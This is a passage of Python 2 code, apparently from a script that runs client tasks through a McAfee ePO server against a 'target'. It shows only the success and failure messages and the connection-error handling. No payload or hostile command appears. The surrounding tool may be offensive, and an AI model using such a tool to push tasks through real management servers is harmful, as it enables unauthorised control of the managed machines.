requests.codes.ok: 978 | print colored("Client task run successful", 'yellow', 'on_blue') 979 | else: 980 | print colored("Client task run failed", 'red', 'on_blue') 981 | 982 | except requests.exceptions.ConnectionError as error: 983 | print colored("Connection failed to ePO server - " + target, 'yellow', 'on_blue') 984 | except Exception as error: 985 | print colored("Error message - " + str(error), 'yellow', 'on_blue') 986 | --------------------------------------------------------------------------------